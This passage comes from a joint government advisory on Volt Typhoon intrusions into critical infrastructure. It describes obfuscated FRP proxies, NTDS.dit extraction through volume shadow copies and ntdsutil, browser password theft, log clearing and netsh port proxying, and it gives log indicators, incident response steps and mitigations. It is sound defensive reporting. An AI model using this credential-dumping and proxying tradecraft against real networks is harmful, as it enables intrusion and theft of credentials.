Volt Typhoon actors also obfuscate their malware. In one confirmed compromise, Volt Typhoon obfuscated FRP client files (BrightmetricAgent.exe and SMSvcService.exe) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX) [T1027.002]. FRP client applications support encryption, compression, and easy token authentication and work across multiple protocols—including transmission control protocol (TCP), user datagram protocol (UDP), hypertext transfer protocol (HTTP), and hypertext transfer protocol secure (HTTPS). The FRP client applications use the Kuai connection protocol (KCP) for error-checked and anonymous data stream delivery over UDP, with packet-level encryption support. See Appendix C and CISA Malware Analysis Report (MAR)-10448362-1.v1 for more information.
In addition to LOTL and obfuscation techniques, Volt Typhoon actors have been observed selectively clearing Windows Event Logs [T1070.001], system logs, and other technical artifacts to remove evidence [T1070.009] of their intrusion activity and masquerading file names [T1036.005].
Credential Access
Volt Typhoon actors first obtain credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities [T1068] in the operating system or network services.In some cases, they have obtained credentials insecurely stored on the appliance [T1552]. In one instance, where Volt Typhoon likely exploited CVE-2022-42475 in an unpatched Fortinet device, Volt Typhoon actors compromised a domain admin account stored inappropriately on the device.
Volt Typhoon also consistently obtains valid credentials by extracting the Active Directory database file (NTDS.dit)—in some cases multiple times from the same victim over long periods [T1003.003]. NTDS.dit contains usernames, hashed passwords, and group memberships for all domain accounts, essentially allowing for full domain compromise if the hashes can be cracked offline.
To obtain NTDS.dit, the U.S. authoring agencies have observed Volt Typhoon:
Move laterally [TA0008] to the domain controller via an interactive RDP session using a compromised account with domain administrator privileges [T1021.001];
Execute the Windows-native vssadmin [T1006] command to create a volume shadow copy;
Use Windows Management Instrumentation Console (WMIC) commands [T1047] to execute ntdsutil (a LOTL utility) to copy NTDS.dit and SYSTEM registry hive from the volume shadow copy; and
Exfiltrate [TA0010] NTDS.dit and SYSTEM registry hive to crack passwords offline) [T1110.002]. (For more details, including specific commands used, see Appendix A: Volt Typhoon LOTL Activity.) Note: A volume shadow copy contains a copy of all the files and folders that exist on the specified volume. Each volume shadow copy created on a DC includes its NTDS.dit and the SYSTEM registry hive, which provides keys to decrypt the NTDS.dit file.
Volt Typhoon actors have also been observed interacting with a PuTTY application by enumerating existing stored sessions [T1012]. Given this interaction and the exposure of cleartext-stored proxy passwords used in remote administration, Volt Typhoon actors potentially had access to PuTTY profiles that allow access to critical systems (see the Lateral Movement section).
According to industry reporting, Volt Typhoon actors attempted to dump credentials through LSASS (see Appendix B for commands used).[2]
The U.S. authoring agencies have observed Volt Typhoon actors leveraging Mimikatz to harvest credentials, and industry partners have observed Volt Typhoon leveraging Impacket.[2]
Mimikatz is a credential dumping tool and Volt Typhoon actors use it to obtain credentials. In one confirmed compromise, the Volt Typhoon used RDP to connect to a server and run Mimikatz after leveraging a compromised administrator account to deploy it.
Impacket is an open source Python toolkit for programmatically constructing and manipulating network protocols. It contains tools for Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks—as well as remote service execution.
Discovery
Volt Typhoon actors have been observed using commercial tools, LOTL utilities, and appliances already present on the system for system information [T1082], network service [T1046], group [T1069] and user [T1033] discovery.
Volt Typhoon uses at least the following LOTL tools and commands for system information, network service, group, and user discovery techniques:
cmd
certutil
dnscmd
ldifde
makecab
net user/group/use
netsh
nltest
netstat
ntdsutil
ping
PowerShell
quser
reg query/reg save
systeminfo
tasklist
wevtutil
whoami
wmic
xcopy
Some observed specific examples of discovery include:
Specifically, in one incident, analysis of the PowerShell console history of a domain controller indicated that security event logs were directed to a file named user.dat, as evidenced by the executed command Get-EventLog security -instanceid 4624 -after [year-month-date] | fl * | Out-File 'C:userspublicdocumentsuser.dat'. This indicates the group’s specific interest in capturing successful logon events (event ID 4624) to analyze user authentication patterns within the network. Additionally, file system analysis, specifically of the Master File Table (MFT), uncovered evidence of a separate file, systeminfo.dat, which was created in C:UsersPublicDocuments but subsequently deleted [T1070.004]. The presence of these activities suggests a methodical approach by Volt Typhoon actors in collecting and then possibly removing traces of sensitive log information from the compromised system.
Executing tasklist /v to gather a detailed process listing [T1057], followed by executing taskkill /f /im rdpservice.exe (the function of this executable is not known).
Executing net user and quser for user account information [T1087.001].
Creating and accessing a file named rult3uil.log on a domain controller in C:WindowsSystem32. The rult3uil.log file contained user activities on a compromised system, showcasing a combination of window title information [T1010] and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.
Employing ping with various IP addresses to check network connectivity [T1016.001] and net start to list running services [T1007].
See Appendix A for additional LOTL examples.
In one confirmed compromise, Volt Typhoon actors attempted to use Advanced IP Scanner, which was on the network for admin use, to scan the network.
Volt Typhoon actors have been observed strategically targeting network administrator web browser data—focusing on both browsing history and stored credentials [T1555.003]—to facilitate targeting of personal email addresses (see the Reconnaissance section) for further discovery and possible network modifications that may impact the threat actor’s persistence within victim networks.
In one confirmed compromise:
Volt Typhoon actors obtained the history file from the User Data directory of a network administrator user’s Chrome browser. To obtain the history file, Volt Typhoon actors first executed an RDP session to the user’s workstation where they initially attempted, and failed, to obtain the C$ File Name: users{redacted}appdatalocalGoogleChromeUserDatadefaultHistory file, as evidenced by the accompanying 1016 (reopen failed) SMB error listed in the application event log. The threat actors then disconnected the RDP session to the workstation and accessed the file C:Users{redacted}DownloadsHistory.zip. This file presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration [T1074]. Shortly after accessing the history.zip file, the actors terminated RDP sessions.
About four months later, Volt Typhoon actors accessed the same user’s Chrome data C$ File Name: Users{redacted}AppDataLocalGoogleChromeUser DataLocal State and $ File Name: Users{redacted}AppDataLocalGoogleChromeUser DataDefaultLogin Data via SMB. The Local State file contains the Advanced Encryption Standard (AES) encryption key [T1552.004] used to encrypt the passwords stored in the Chrome browser, which would enable the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.
In another confirmed compromise, Volt Typhoon actors accessed directories containing Chrome and Edge user data on multiple systems. Directory interaction was observed over the network to paths such as C:Users{redacted}AppDataLocalGoogleChromeUser Data and C:Users{redacted}AppDataLocalMicrosoftEdgeUser Data. They also enumerated several directories, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings [T1083].
Lateral Movement
For lateral movement, Volt Typhoon actors have been observed predominantly employing RDP with compromised valid administrator credentials. Note: With a full on-premises Microsoft Active Directory identity compromise (see the Credential Access section), the group may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement [T1550].
In one confirmed compromise of a Water and Wastewater Systems Sector entity, after obtaining initial access, Volt Typhoon actors connected to the network via a VPN with administrator credentials they obtained and opened an RDP session with the same credentials to move laterally. Over a nine-month period, they moved laterally to a file server, a domain controller, an Oracle Management Server (OMS), and a VMware vCenter server. The actors obtained domain credentials from the domain controller and performed discovery, collection, and exfiltration on the file server (see the Discovery and Collection and Exfiltration sections).
Volt Typhoon’s movement to the vCenter server was likely strategic for pre-positioning to OT assets. The vCenter server was adjacent to OT assets, and Volt Typhoon actors were observed interacting with the PuTTY application on the server by enumerating existing stored sessions. With this information, Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, OT systems, and network security devices. This would enable them to access these critical systems [T1563]. See Figure 2.
Additionally, Volt Typhoon actors have been observed using PSExec to execute remote processes, including the automated acceptance of the end-user license agreement (EULA) through an administrative account, signified by the accepteula command flag.
Volt Typhoon actors may have attempted to move laterally to a cloud environment in one victim’s network but direct attribution to the Volt Typhoon group was inconclusive. During the period of the their known network presence, there were anomalous login attempts to an Azure tenant [T1021.007] potentially using credentials [T1078.004] previously compromised from theft of NTDS.dit. These attempts, coupled with misconfigured virtual machines with open RDP ports, suggested a potential for cloud-based lateral movement. However, subsequent investigations, including password changes and multifactor authentication (MFA) implementations, revealed authentication failures from non-associated IP addresses, with no definitive link to Volt Typhoon.
Collection and Exfiltration
The U.S. authoring agencies assess Volt Typhoon primarily collects information that would facilitate follow-on actions with physical impacts. For example, in one confirmed compromise, they collected [TA0009] sensitive information obtained from a file server in multiple zipped files [T1560] and likely exfiltrated [TA0010] the files via Server Message Block (SMB) [T1048] (see Figure 3). Collected information included diagrams and documentation related to OT equipment, including supervisory control and data acquisition (SCADA) systems, relays, and switchgear. This data is crucial for understanding and potentially impacting critical infrastructure systems, indicating a focus on gathering intelligence that could be leveraged in actions targeting physical assets and systems.
In another compromise, Volt Typhoon actors leveraged WMIC to create and use temporary directories (C:UsersPublicpro, C:WindowsTemptmp, C:WindowsTemptmpActive Directory and C:WindowsTemptmpregistry) to stage the extracted ntds.dit and SYSTEM registry hives from ntdsutil execution volume shadow copies (see the Credential Access section) obtained from two DCs. They then compressed and archived the extracted ntds.dit and accompanying registry files by executing ronf.exe, which was likely a renamed version of the archive utility rar.exe) [T1560.001].
They have also been observed setting up FRP clients [T1090] on a victim’s corporate infrastructure to establish covert communications channels [T1573] for command and control. In one instance, Volt Typhoon actors implanted the FRP client with filename SMSvcService.exe on a Shortel Enterprise Contact Center (ECC) server and a second FRP client with filename Brightmetricagent.exe on another server. These clients, when executed via PowerShell [T1059.001], open reverse proxies between the compromised system and Volt Typhoon C2 servers. Brightmetricagent.exe has additional capabilities. The FRP client can locate servers behind a network firewall or obscured through Network Address Translation (NAT) [T1016]. It also contains multiplexer libraries that can bi-directionally stream data over NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management Instrumentation (WMI), and Z Shell (zsh) [T1059.004]. See Appendix C and MAR-10448362-1.v1 for more information.
In the same compromise, Volt Typhoon actors exploited a Paessler Router Traffic Grapher (PRTG) server as an intermediary for their FRP operations. To facilitate this, they used the netsh command, a legitimate Windows command, to create a PortProxy registry modification [T1112] on the PRTG server [T1090.001]. This key alteration redirected specific port traffic to Volt Typhoon’s proxy infrastructure, effectively converting the PRTG’s server into a proxy for their C2 traffic [T1584.004] (see Appendix B for details).
DETECTION/HUNT RECOMMENDATIONS
Apply Living off the Land Detection Best Practices
Apply the prioritized detection and hardening best practice recommendations provided in joint guide Identifying and Mitigating Living off the Land Techniques. Many organizations lack security and network management best practices (such as established baselines) that support detection of malicious LOTL activity—this makes it difficult for network defenders to discern legitimate behavior from malicious behavior and conduct behavior analytics, anomaly detection, and proactive hunting. Conventional IOCs associated with the malicious activity are generally lacking, complicating network defenders’ efforts to identify, track, and categorize this sort of malicious behavior. This advisory provides guidance for a multifaceted cybersecurity strategy that enables behavior analytics, anomaly detection, and proactive hunting, which are part of a comprehensive approach to mitigating cyber threats that employ LOTL techniques.
Review Application, Security, and System Event Logs
Routinely review application, security, and system event logs, focusing on Windows Extensible Storage Engine Technology (ESENT) Application Logs. Due to Volt Typhoon’s ability for long-term undetected persistence, network defenders should assume significant dwell time and review specific application event log IDs, which remain on endpoints for longer periods compared to security event logs and other ephemeral artifacts. Focus on Windows ESENT logs because certain ESENT Application Log event IDs (216, 325, 326, and 327) may indicate actors copying NTDS.dit.
See Table 1 for examples of ESENT and other key log indicators that should be investigated. Please note that incidents may not always have exact matches listed in the Event Detail column due to variations in event logging and TTPs.
Table 1: Key Log Indicators for Detecting Volt Typhoon Activity
Event ID (Log)
Event Detail
Description
216 (Windows ESENT Application Log)
A database location change was detected from ‘C:WindowsNTDSntds.dit’ to ‘?GLOBALROOTDevice{redacted}VolumeShadowCopy1WindowsNTDSntds.dit’
A change in the NTDS.dit database location is detected. This could suggest an initial step in NTDS credential dumping where the database is being prepared for extraction.
325 (Windows ESENT Application Log)
The database engine created a new database (2, C:WindowsTemptmpActive Directoryntds.dit).
Indicates creation of a new NTDS.dit file in a non-standard directory. Often a sign of data staging for exfiltration. Monitor for unusual database operations in temp directories.
637 (Windows ESENT Application Log)
C:WindowsTemptmpActive Directoryntds.jfm-++- (0) New flush map file “C:WindowsTemptmpActive Directoryntds.jfm” will be created to enable persisted lost flush detection.
A new flush map file is being created for NTDS.dit. This may suggest ongoing operations related to NTDS credential dumping, potentially capturing uncommitted changes to the NTDS.dit file.
326 (Windows ESENT Application Log)
NTDS-++-12460,D,100-++–++-1-++-
C:$SNAP_{redacted}_VOLUMEC$WindowsNTDSntds.dit-++-0-++- [1] The database engine attached a database. Began mounting of C:WindowsNTDSntds.dit file created from volume shadow copy process
Represents the mounting of an NTDS.dit file from a volume shadow copy. This is a critical step in NTDS credential dumping, indicating active manipulation of a domain controller’s data.
327 (Windows ESENT Application Log)
C:WindowsTemptmpActive Directoryntds.dit-++-1-++- [1] The database engine detached a database (2, C:WindowsTemptmpActive Directoryntds.dit). Completion of mounting of ntds.dit file to C:WindowsTemptmpActive Director
The detachment of a database, particularly in a temp directory, could indicate the completion of a credential dumping process, potentially as part of exfiltration preparations.
21 (Windows Terminal Services Local Session Manager Operational Log)
Successful start of a new Remote Desktop session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.
23 (Windows Terminal Services Local Session Manager Operational Log)
Successful reconnection to a Remote Desktop Services session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.
1017 (Windows System Log)
Handle scavenged.
Share Name: C$
File Name:
users{redacted}downloadsHistory.zip Durable: 1 Resilient or Persistent: 0 Guidance: The server closed a handle that was previously reserved for a client after 60 seconds.
Indicates the server closed a handle for a client. While common in network operations, unusual patterns or locations (like History.zip in a user’s downloads) may suggest data collection from a local system.
1102 (Windows Security Log)
All
All Event ID 1102 entries should be investigated as logs are generally not cleared and this is a known Volt Typhoon tactic to cover their tracks.
Monitor and Review OT System Logs
Review access logs for communication paths between IT and OT networks, looking for anomalous accesses or protocols.
Measure the baseline of normal operations and network traffic for the industrial control system (ICS) and assess traffic anomalies for malicious activity.
Configure intrusion detection systems (IDS) to create alarms for any ICS network traffic outside normal operations.
Track and monitor audit trails on critical areas of ICS.
Set up security incident and event monitoring (SIEM) to monitor, analyze, and correlate event logs from across the ICS network to identify intrusion attempts.
Use gait to Detect Possible Network Proxy Activities
Use gait[4] to detect network proxy activities. Developed by Sandia National Labs, gait is a publicly available Zeek[5] extension. The gait extension can help enrich Zeek’s network connection monitoring and SSL logs by including additional metadata in the logs. Specifically, gait captures unique TCP options and timing data such as a TCP, transport layer security (TLS), and Secure Shell (SSH) layer inferred round trip times (RTT), aiding in the identification of the software used by both endpoints and intermediaries.
While the gait extension for Zeek is an effective tool for enriching network monitoring logs with detailed metadata, it is not specifically designed to detect Volt Typhoon actor activities. The extension’s capabilities extend to general anomaly detection in network traffic, including—but not limited to—proxying activities. Therefore, while gait can be helpful in identifying tactics similar to those used by Volt Typhoon, such as proxy networks and FRP clients for C2 communication, not all proxying activities detected by using this additional metadata are necessarily indicative of Volt Typhoon presence. It serves as a valuable augmentation to current security stacks for a broader spectrum of threat detection.
Examine VPN or other account logon times, frequency, duration, and locations. Logons from two geographically distant locations within a short timeframe from a single user may indicate an account is being used maliciously. Logons of unusual frequency or duration may indicate a threat actor attempting to access a system repeatedly or maintain prolonged sessions for the purpose of data extraction.
Review Standard Directories for Unusual Files
Review directories, such as C:windowstemp andC:userspublic, for unexpected or unusual files. Monitor these temporary file storage directories for files typically located in standard system paths, such as the System32 directory. For example, Volt Typhoon has been observed downloading comsvcs.dll to a non-standard folder (this file is normally found in the System32 folder).
INCIDENT RESPONSE
If compromise, or potential compromise, is detected, organizations should assume full domain compromise because of Volt Typhoon’s known behavioral pattern of extracting the NTDS.dit from the DCs. Organizations should immediately implement the following immediate, defensive countermeasures:
Sever the enterprise network from the internet. Note: this step requires the agency to understand its internal and external connections. When making the decision to sever internet access, knowledge of connections must be combined with care to avoid disrupting critical functions.
If you cannot sever from the internet, shutdown all non-essential traffic between the affected enterprise network and the internet.
Reset credentials of privileged and non-privileged accounts within the trust boundary of each compromised account.
Reset passwords for all domain users and all local accounts, such as Guest, HelpAssistant, DefaultAccount, System, Administrator, and kbrtgt. The kbrtgt account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. The kbrtgt account should be reset twice because the account has a two-password history. The first account reset for the kbrtgt needs to be allowed to replicate prior to the second reset to avoid any issues. See CISA’s Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise for more information. Although tailored to FCEB agencies compromised in the 2020 SolarWinds Orion supply chain compromise, the steps are applicable to organizations with Windows AD compromise.
Review access policies to temporarily revoke privileges/access for affected accounts/devices. If it is necessary to not alert the attacker (e.g., for intelligence purposes), then privileges can be reduced for affected accounts/devices to “contain” them.
Reset the relevant account credentials or access keys if the investigation finds the threat actor’s access is limited to non-elevated permissions.
Monitor related accounts, especially administrative accounts, for any further signs of unauthorized access.
Audit all network appliance and edge device configurations with indicators of malicious activity for signs of unauthorized or malicious configuration changes. Organizations should ensure they audit the current network device running configuration and any local configurations that could be loaded at boot time. If configuration changes are identified:
Change all credentials being used to manage network devices, to include keys and strings used to secure network device functions (SNMP strings/user credentials, IPsec/IKE preshared keys, routing secrets, TACACS/RADIUS secrets, RSA keys/certificates, etc.).
Update all firmware and software to the latest version.
Report the compromise to an authoring agency (see the Contact Information section).
For organizations with cloud or hybrid environments, apply best practices for identity and credential access management.
Verify that all accounts with privileged role assignments are cloud native, not synced from Active Directory.
Audit conditional access policies to ensure Global Administrators and other highly privileged service principals and accounts are not exempted.
Audit privileged role assignments to ensure adherence to the principle of least privilege when assigning privileged roles.
Leverage just-in-time and just-enough access mechanisms when administrators need to elevate to a privileged role.
In hybrid environments, ensure federated systems (such as AD FS) are configured and monitored properly.
Audit Enterprise Applications for recently added applications and examine the API permissions assigned to each.
Reconnect to the internet.Note: The decision to reconnect to the internet depends on senior leadership’s confidence in the actions taken. It is possible—depending on the environment—that new information discovered during pre-eviction and eviction steps could add additional eviction tasks.
CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to U.S. Federal Civilian Executive Branch (FCEB) agencies, the playbooks are applicable to all organizations. The incident response playbook provides procedures to identify, coordinate, remediate, recover, and track successful mitigations from incidents.
These mitigationsare intended for IT administrators in critical infrastructure organizations. The authoring agencies recommend that software manufactures incorporate secure by design and default principles and tactics into their software development practices to strengthen the security posture for their customers.
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of Volt Typhoon activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
IT Network Administrators and Defenders
Harden the Attack Surface
Apply patches for internet-facing systems within a risk-informed span of time [CPG 1E]. Prioritize patching critical assets, known exploited vulnerabilities, and vulnerabilities in appliances known to be frequently exploited by Volt Typhoon (e.g., Fortinet, Ivanti, NETGEAR, Citrix, and Cisco devices).
Apply vendor-provided or industry standard hardening guidance to strengthen software and system configurations. Note: As part of CISA’s Secure by Design campaign, CISA urges software manufacturers to prioritize secure by default configurations to eliminate the need for customer implementation of hardening guidelines.
Maintain and regularly update an inventory of all organizational IT assets [CPG 1A].
Use third party assessments to validate current system and network security compliance via security architecture reviews, penetration tests, bug bounties, attack surface management services, incident simulations, or table-top exercises (both announced and unannounced) [CPG 1F].
Limit internet exposure of systems when not necessary. An organization’s primary attack surface is the combination of the exposure of all its internet-facing systems. Decrease the attack surface by not exposing systems or management interfaces to the internet when not necessary.
Secure Credentials
Do not store credentials on edge appliances/devices. Ensure edge devices do not contain accounts that could provide domain admin access.
Do not store plaintext credentials on any system [CPG 2L]. Credentials should be stored securely—such as with a credential/password manager or vault, or other privileged account management solutions—so they can only be accessed by authenticated and authorized users.
Change default passwords [CPG 2A] and ensure they meet the policy requirements for complexity.
Implement and enforce an organizational system-enforced policy that:
Requires passwords for all IT password-protected assets to be at least 15 characters;
Does not allow users to reuse passwords for accounts, applications, services, etc., [CPG 2C]; and
Does not allow service accounts/machine accounts to reuse passwords from member user accounts.
Configure Group Policy settings to prevent web browsers from saving passwords and disable autofill functions.
Disable the storage of clear text passwords in LSASS memory.
User accounts should never have administrator or super-user privileges [CPG 2E].
Administrators should never use administrator accounts for actions and activities not associated with the administrator role (e.g., checking email, web browsing).
Enforce the principle of least privilege.
Ensure administrator accounts only have the minimum permissions necessary to complete their tasks.
Review account permissions for default/accounts for edge appliances/devices and remove domain administrator privileges, if identified.
Significantly limit the number of users with elevated privileges. Implement continuous monitoring for changes in group membership, especially in privileged groups, to detect and respond to unauthorized modifications.
Remove accounts from high-privilege groups like Enterprise Admins and Schema Admins. Temporarily reinstate these privileges only when necessary and under strict auditing to reduce the risk of privilege abuse.
Transition to Group Managed Service Accounts (gMSAs) where suitable for enhanced management and security of service account credentials. gMSAs provide automated password management and simplified Service Principal Name (SPN) management, enhancing security over traditional service accounts. See Microsoft’s Group Managed Service Accounts Overview.
Enforce strict policies via Group Policy and User Rights Assignments to limit high-privilege service accounts.
Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources [CPG 2L]. PAM solutions can also log and alert usage to detect any unusual activity.
Complement the PAM solution with role-based access control (RBAC) for tailored access based on job requirements. This ensures that elevated access is granted only when required and for a limited duration, minimizing the window of opportunity for abuse or exploitation of privileged credentials.
Implement an Active Directory tiering model to segregate administrative accounts based on their access level and associated risk. This approach reduces the potential impact of a compromised account. See Microsoft’s PAM environment tier model.
Disable all user accounts and access to organizational resources of employees on the day of their departure [CPG 2G]
Regularly audit all user, admin, and service accounts and remove or disable unused or unneeded accounts as applicable.
Regularly roll NTLM hashes of accounts that support token-based authentication.
Improve management of hybrid (cloud and on-premises) identity federation by:
Using cloud only administrators that are asynchronous with on-premises environments and ensuring on-premises administrators are asynchronous to the cloud.
Using CISA’s SCuBAGear tool to discover cloud misconfigurations in Microsoft cloud tenants. SCuBA gear is automation script for comparing Federal Civilian Executive Branch (FCEB) agency tenant configurations against CISA M365 baseline recommendations. SCuBAGear is part of CISA’s Secure Cloud Business Applications (SCuBA) project, which provides guidance for FCEB agencies, securing their cloud business application environments and protecting federal information created, accessed, shared, and stored in those environments. Although tailored to FCEB agencies, the project provides security guidance applicable to all organizations with cloud environments. For more information on SCuBAGear see CISA’s Secure Cloud Business Applications (SCuBA) Project.
Using endpoint detection and response capabilities to actively defend on-premises federation servers.
Secure Remote Access Services
Limit the use of RDP and other remote desktop services. If RDP is necessary, apply best practices, including auditing the network for systems using RDP, closing unused RDP ports, and logging RDP login attempts.
Disable Server Message Block (SMB) protocol version 1 and upgrade to version 3 (SMBv3) after mitigating existing dependencies (on existing systems or applications), as they may break when disabled.
Harden SMBv3 by implementing guidance included in joint #StopRansomware Guide (see page 8 of the guide).
Securely store sensitive data (including operational technology documentation, network diagrams, etc.), ensuring that only authenticated and authorized users can access the data.
Implement Network Segmentation
Ensure that sensitive accounts use their administrator credentials only on hardened, secure computers. This practice can reduce lateral movement exposure within networks.
Conduct comprehensive trust assessments to identify business-critical trusts and apply necessary controls to prevent unauthorized cross-forest/domain traversal.
Harden federated authentication by enabling Secure Identifier (SID) Filtering and Selective Authentication on AD trust relationships to further restrict unauthorized access across domain boundaries.
Implement network segmentation to isolate federation servers from other systems and limit allowed traffic to systems and protocols that require access in accordance with Zero Trust principles.
Secure Cloud Assets
Harden cloud assets in accordance with vendor-provided or industry standard hardening guidance.
Organizations with Microsoft cloud infrastructure, see CISA’s Microsoft 365 Security Configuration Baseline Guides, which provide minimum viable secure configuration baselines for Microsoft Defender for Office 365, Azure Active Directory (now known as Microsoft Entra ID), Exchange Online, OneDrive for Business, Power BI, Power Platform, SharePoint Online, and Teams. For additional guidance, see the Australian Signals Directorate’s Blueprint for Secure Cloud.
Organizations with Google cloud infrastructure, see CISA’s Google Workspace Security Configuration Baseline Guides, which provide minimum viable secure configuration baselines for Groups for Business, GMAIL, Google Calendar, Google Chat, Google Common Controls, Google Classroom, Google Drive and Docs, Google Meet, and Google Sites.
Revoke unnecessary public access to cloud environment. This involves reviewing and restricting public endpoints and ensuring that services like storage accounts, databases, and virtual machines are not publicly accessible unless absolutely necessary. Disable legacy authentication protocols across all cloud services and platforms. Legacy protocols frequently lack support for advanced security mechanisms such as multifactor authentication, rendering them susceptible to compromises. Instead, enforce the use of modern authentication protocols that support stronger security features like MFA, token-based authentication, and adaptive authentication measures.
Enforce this practice through the use of Conditional Access Policies. These policies can initially be run in report-only mode to identify potential impacts and plan mitigations before fully enforcing them. This approach allows organizations to systematically control access to their cloud resources, significantly reducing the risk of unauthorized access and potential compromise.
Regularly monitor and audit privileged cloud-based accounts, including service accounts, which are frequently abused to enable broad cloud resource access and persistence.
Be Prepared
Ensure logging is turned on for application, access, and security logs (e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and VPNs) [CPG 2T]. Given Volt Typhoon’s use of LOTL techniques and their significant dwell time, application event logs may be a valuable resource to hunt for Volt Typhoon activity because these logs typically remain on endpoints for relatively long periods of time.
For OT assets where logs are non-standard or not available, collect network traffic and communications between those assets and other assets.
Implement file integrity monitoring (FIM) tools to detect unauthorized changes.
Store logs in a central system, such as a security information and event management (SIEM) tool or central database.
Ensure the logs can only be accessed or modified by authorized and authenticated users [CPG 2U].
Store logs for a period informed by risk or pertinent regulatory guidelines.
Establish and continuously maintain a baseline of installed tools and software, account behavior, and network traffic. This way, network defenders can identify potential outliers, which may indicate malicious activity. Note: For information on establishing a baseline, see joint guide Identifying and Mitigating Living off the Land Techniques.
Document a list of threats and cyber actor TTPs relevant to your organization (e.g., based on industry or sectors), and maintain the ability (such as via rules, alerting, or commercial prevention and detection systems) to detect instances of those key threats [CPG 3A].
Implement periodic training for all employees and contractors that covers basic security concepts (such as phishing, business email compromise, basic operational security, password security, etc.), as well as fostering an internal culture of security and cyber awareness [CPG 2I].
Tailor the training to network IT personnel/administrators and other key staff based on relevant organizational cyber threats and TTPs, such as Volt Typhoon. For example, communicate that Volt Typhoon actors are known to target personal email accounts of IT staff, and encourage staff to protect their personal email accounts by using strong passwords and implementing MFA.
In addition to basic cybersecurity training, ensure personnel who maintain or secure OT as part of their regular duties receive OT-specific cybersecurity training on at least an annual basis [CPG 2J].
Educate users about the risks associated with storing unprotected passwords.
OT Administrators and Defenders
Change default passwords [CPG 2A] and ensure they meet the policy requirements for complexity. If the asset’s password cannot be changed, implement compensating controls for the device; for example, segment the device into separate enclaves and implement increased monitoring and logging.
Require that passwords for all OT password-protected assets be at least 15 characters, when technically feasible. In instances where minimum passwords lengths are not technically feasible (for example, assets in remote locations), apply compensating controls, record the controls, and log all login attempts. [CPG 2B].
Enforce strict access policies for accessing OT networks. Develop strict operating procedures for OT operators that details secure configuration and usage.
Segment OT assets from IT environments by [CPG 2F]:
Denying all connections to the OT network by default unless explicitly allowed (e.g., by IP address and port) for specific system functionality.
Requiring necessary communications paths between IT and OT networks to pass through an intermediary, such as a properly configured firewall, bastion host, “jump box,” or a demilitarized zone (DMZ), which is closely monitored, captures network logs, and only allows connections from approved assets.
Closely monitor all connections into OT networks for misuse, anomalous activity, or OT protocols.
Monitor for unauthorized controller change attempts. Implement integrity checks of controller process logic against a known good baseline. Ensure process controllers are prevented from remaining in remote program mode while in operation if possible.
Lock or limit set points in control processes to reduce the consequences of unauthorized controller access.
Be prepared by:
Determining your critical operational processes’ reliance on key IT infrastructure:
Maintain and regularly update an inventory of all organizational OT assets.
Understand and evaluate cyber risk on “as-operated” OT assets.
Create an accurate “as-operated” OT network map and identify OT and IT network inter-dependencies.
Identifying a resilience plan that addresses how to operate if you lose access to or control of the IT and/or OT environment.
Plan for how to continue operations if a control system is malfunctioning, inoperative, or actively acting contrary to the safe and reliable operation of the process.
Develop workarounds or manual controls to ensure ICS networks can be isolated if the connection to a compromised IT environment creates risk to the safe and reliable operation of OT processes.
Create and regularly exercise an incident response plan.
Regularly test manual controls so that critical functions can be kept running if OT networks need to be taken offline.
Implement regular data backup procedures on OT networks.
US organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact:
CISA’s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870 or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
Water and Wastewater Systems Sector organizations, contact the EPA Water Infrastructure and Cyber Resilience Division at watercyberta@epa.gov to voluntarily provide situational awareness.
Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
For transportation entities regulated by TSA, report to CISA Central in accordance with the requirements found in applicable Security Directives, Security Programs, or TSA Order.
Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Table 5 through Table 17).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
